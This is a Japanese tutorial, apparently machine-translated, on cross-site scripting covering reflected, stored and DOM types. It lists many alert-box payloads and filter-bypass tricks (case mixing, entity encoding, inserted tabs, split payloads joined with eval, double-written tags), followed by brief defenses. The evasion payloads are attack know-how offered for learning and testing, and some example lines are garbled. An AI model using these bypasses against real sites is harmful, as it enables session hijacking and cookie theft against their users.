目次
1.XSSの原則
XSSはクロスサイトスクリプティングと呼ばれ、CSSと省略されるべきでしたが、CSS(Cascading Style Sheets)と同じ名前であるため、XSSに名前が変更されました。XSSは、悪意のある攻撃を完了するために主にjsに基づいています。jsは、html、css、およびブラウザーを非常に柔軟に操作できます。
XSSは構築されたコード(JS)をWebページに挿入し、ブラウザーはこのJSコードを解釈して実行し、悪意のある攻撃の効果を実現します。ユーザーがXSSスクリプトによって挿入されたWebページにアクセスすると、XSSスクリプトが抽出されます。ユーザーのブラウザはこのXSSコードを解析します。これは、ユーザーが攻撃されたことを意味します。ユーザーにとって最も簡単なアクションは、ブラウザーを使用してインターネットを閲覧することです。ブラウザーにはjavascriptを解析できるjavascriptインタープリターがありますが、ブラウザーはコードが悪意があるかどうかを判断しません。言い換えれば、XSSのオブジェクトはユーザーとブラウザーです。
2.XSSハザード
- さまざまなユーザーアカウントを盗む
- ユーザーのCookie情報を盗み、ユーザーのふりをしてWebサイトにアクセスします
- ユーザーセッションを乗っ取り、任意の操作を実行する
- トラフィックをブラッシングし、ポップアップ広告を実行します
- ワームを広める
3.XSSテスト環境のダウンロード
この練習環境を通して、XSS、ダウンロードアドレス、xss_testを理解します。ダウンロード 後、Webサイトのルートディレクトリに配置することでアクセスできます。
4.XSS分類
1.リフレクティブXSS
Reflected XSSは、非永続的なパラメトリッククロスサイトスクリプティングです。リフレクティブXSSのJSコードは、検索ボックスのリフレクティブXSSなど、Webアプリケーションのパラメーター(変数)にあります。入力したコンテンツはそのままWebページに出力されますので、反射型のクロスサイトスクリプティングがあるのではないかと疑うことができます。
たとえば、検索ボックスで、フォームと一緒に番号2323を送信し、データパケットを傍受したところ、データ2323がxss.phpに送信され、送信されたデータ2323がそのままWebページに出力されたことがわかりました。 .xss.phpのソースコードを引き続き確認します。
xss.phpのソースコードでは、送信したステートメントがそのままWebページに出力され、PhPの言語が使用されていることがわかり、フィルタリングせずにWebページに出力されたと思いました。 JSコードを送信できます。
次のように、ポップアップJSコードの文字列を送信します<script> alert(/ xss /)</ script>。プログラムは、jsコードに遭遇すると自動的にポップアップ操作を実行します。これにより、リフレクティブXSSが発生します。
これが反射型XSSです!!
2.保存されたXSS
保存されたXSSは、永続的なクロスサイトスクリプティングです。永続性は、XSSコードが特定のパラメーター(変数)に含まれていないという事実に反映されていますが、データベースやファイルなどのデータを永続的に格納できるメディアに書き込まれます。保存されたXSSは通常、メッセージボードなどの場所で発生します。メッセージボードの場所にメッセージを残し、悪意のあるコードをデータベースに書き込みます。
メッセージボードに保存されているxssがある場合は、jsコードを挿入します。現時点では、最初のステップを完了しただけで、悪意のあるコードをデータベースに書き込んでいます。XSSで使用されるJSコードのため、JSコードの実行環境はブラウザーであるため、ブラウザーはサーバーから悪意のあるXSSコードをロードして、実際にXSS(実行コード)をトリガーする必要があります。この時点で、メッセージを確認するためにWebサイトのバックエンド管理者のIDをシミュレートする必要があります。
3.DOMタイプXSS
domはドキュメントオブジェクトモデルです。攻撃ペイロードは、被害者のブラウザページのDOMツリーを変更します。その特別な場所は、ペイロードがブラウザでローカルにDOMツリーを変更することによって実行され、サーバーに送信されないことです。これにより、DOMXSSの検出がより困難になります。
DOMタイプXSSを入力してください
「message =」の後の文字をインターセプトしてWebページに出力することを意味します
データを送信しますか?message = 2021、ブラウザは送信したデータを出力します
この時点でソースコードを確認します。ソースコードは変更されていません。次に、送信したデータを使用して要素を確認し、上記のdomタイプのXSS攻撃が被害者のブラウザページのDOMツリーであることを確認します。
同じことがjsコードを提出することができます
5.xssの構造
1。<>を使用してHTML / JSを作成します
jsタグを作成する
<script>alert(/xss/)</script>
2.疑似合意
javascript: js代码 伪协议的方式构造XSS
HTMLのハイパーリンクに疑似プロトコルを配置できます
<a href="javascript:alert(/xss/)">touch me!</a> #点击超链接,即可触发XSS。
3.独自のイベント(htmlイベント)を生成します
「イベント駆動型」は、比較的古典的なプログラミングのアイデアです。Webページでは多くのイベント(マウスの動き、キーボード入力など)が発生し、JSはこれらのイベントに応答できます。したがって、イベントを通じてJS関数とXSSをトリガーできます。
单击事件
<input type="button" onclick ="alert(/xss/)" value="点我! ">
双击事件
<input type="button" ondblclick="alert(/xss/)" value="双击666">
悬停
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
图片载入失败弹窗
<img src='#' onerror="alert(/xss/)">
按下键盘触发
<input type="text" onkeydown="alert(/xss/)">
4.その他のラベルとテクニック
他のタグを使用してXSSをトリガーすることもできます。
点击提交就弹窗
<svg onload="alert(/xss/)"> #svg是html5中新出的标签,也是一个事件
焦点 自动聚焦
<input onfocus=alert(/xss/) autofocus> #鼠标自动聚焦到这个标签然后进行弹窗
6. XSS変形(インタビューを依頼する必要があります)
一部のWebページはXSSをフィルタリングしますが、XSSを変形することでフィルター検出をバイパスできます。
1.ケース変換
ペイロードは大文字と小文字が変換されます。次の2つの例のように。
<Img sRc='#' Onerror="alert(/xss/)"/>
#alert是js语,所以只能转换img和src
<A hREf="javaScript:alert(/xss/)">click me</A>
これらの2つのステートメントをテスト用に送信できます
2.引用符の使用
HTML言語は、引用符の使用に影響されません。htmlには、二重引用符、一重引用符、または引用符なしを使用できます。
<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/) />
3. /スペースの代わりに
スペースの代わりに左スラッシュを使用できます
<Img/sRc='#'/Onerror='alert(/xss/)' /> #alert(/xss/)使用斜线是为了尽量避免单引号的使用
<Img/sRc='#'/Onerror=alert('xss') />
<Img/sRc='#'/Onerror='alert(/AJEST/)' />
4.入力します
キーワードの検出をバイパスするために、タブ(水平タブ)とキャリッジリターンをいくつかの場所に追加できます。
<A hREf="j
avas
c
r
i
p
t:alert(/xss/)">click me!</a>
5.ラベル属性値をトランスコードします
タグ属性値をトランスコードして、フィルタリングをバイパスします。対応するコードは次のとおりです
文字ASCIIコード10進コード16進コード
97&#97;&#x61;セミコロンは、エンコードの終了を表します
e 101&#101; &#x65;
- ASCIIエンコーディングリファレンス https://www.sojson.com/asciitable.html
- 16進エンコーディング https://www.convertstring.com/zh_CN/EncodeDecode/HexEncode
- URLエンコード https://www.w3school.com.cn/tags/html_ref_urlencode.html
たとえば、<A hREf = "javaScript:alert(/ xss /)">クリックして</A>のタグ属性値をエンコードし、次のように10進数の&#97;および16進数のエンコード&#x61;でエンコードします。
Script:alert(/xss/)"> a <A hREf="j a V私をクリックし</A>
同じポップアップウィンドウをクリックします
さらに、キャリッジリターン、改行、水平タブなどの制御文字をコードに挿入することもできます
ASCIIでの制御文字の意味については、https://blog.csdn.net/sxdtzhp/article/details/50993571を参照してください。
タブ&#9;
改行&#10;
キャリッジリターン&#13;
SOH&#01;(ASCIの制御文字。SOHはヘッダーの開始であり、タイトルの開始を表します。オプションで、効果はありませんが、データストリームの開始のみです)
STX&#02#テキストの始まり
エンコード後の外観
<A hREf="j avas	c r ipt:alert(/xss/)">click me!</a>
6.クロスサイトを分割する
中心的なアイデアは、サイト間で分割することにより、比較的長いJSステートメントを短縮することです。次に、それらを個別に送信します。たとえば、差分クロスサイトには<script> alert(/ xss /)</ script>を使用します
HTML~~~~~~~~~~~~`
<script>z='alert'</script> #第一次提交
HTML~~~~~~~~~~~~`
<script>z=z+'(/xss/)'</script> #第二次提交
HTML~~~~~~~~~~~~`
<script>eval(z)</script> #第三次提交
メッセージを3回残すことができます。これらの3つのメッセージが同じページに同時に読み込まれると、XSS攻撃がトリガーされます。
7.ダブルライトバイパスシングルフィルター
文字を1回フィルタリングすると、二重書き込みを使用してそれをバイパスできます。プログラムがキーワード<script>をフィルタリングする場合、単一のフィルターをバイパスするように<sc <script> ript>を作成できます。
セブン。XSS防御
1)フロントエンド、サーバー側、文字列入力の長さを制限します。
2)フロントエンド、サーバー側、HTMLエスケープ処理。「<」、「>」などの特殊文字をエスケープしてエンコードします。文字を対応するHTMLエンティティに置き換えます
。アンチXSSの中核は、入力データをフィルタリングすることです。
3)ブラックリストとホワイトリストの戦略は、入力フィルタリングを使用するか出力コーディングを使用するかにかかわらず、データ情報のブラック|ホワイトリストフィルタリングです。
8.XSS-チャレンジ
実際の戦闘の挑戦に合格、ポータル-"xssのXSS挑戦-挑戦
-心、住む場所がなければ、どこにでもさまよう